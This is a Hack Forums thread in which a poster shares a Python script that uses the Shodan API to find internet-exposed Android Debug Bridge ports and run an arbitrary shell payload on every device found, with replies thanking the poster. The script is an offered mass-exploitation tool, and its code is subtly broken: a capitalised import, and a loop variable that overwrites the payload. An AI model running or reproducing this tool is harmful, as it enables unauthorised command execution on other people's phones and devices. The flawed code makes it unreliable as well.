Hack Forums
[Python] Android Debug Bridge exploit - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [Python] Android Debug Bridge exploit (/showthread.php?tid=6194346)



Android Debug Bridge exploit - Clumsy - Feb 19, 2022

Import threading, time

from shodan import Shodan

from colorama import Fore

from adb_shell.adb_device import AdbDeviceTcp, AdbDeviceUsb

from adb_shell.auth.sign_pythonrsa import PythonRSASigner


api = Shodan('YOUR KEY')

payload = input('Payload : ')


def Connection(host, port, payload):

    try:

        print(f'{Fore.GREEN}[ CONNE ]{Fore.MAGENTA} {host}{Fore.GREEN}:{Fore.MAGENTA}{port}\n')

        device = AdbDeviceTcp(host=host, port=port, default_transport_timeout_s=9)

        device.connect(auth_timeout_s=0.5)

        device.shell(command=str(payload))

    except:

        print(f'{Fore.RED}[ ERROR ]{Fore.MAGENTA} {host}{Fore.RED}:{Fore.MAGENTA}{port}\n')


def Main(payload):

    for payload in api.search_cursor('"Android Debug Bridge"'):

        try:

            host = payload['ip_str'].rstrip()

            port = payload['port']

            threading.Thread(target=Connection, args=(host, port, payload)).start()

        except Exception as e:

            exit(e)


Main(payload)


RE: Android Debug Bridge exploit - SIM-353284 - Feb 19, 2022

This is a very HQ thread, thanks alot for posting Clumsy i will save this for later reference.


RE: Android Debug Bridge exploit - Clumsy - Feb 19, 2022

(Feb 19, 2022 10:23 PM)SIM Wrote:  This is a very HQ thread, thanks alot for posting Clumsy i will save this for later reference.

Enjoy this and remember use it ethically.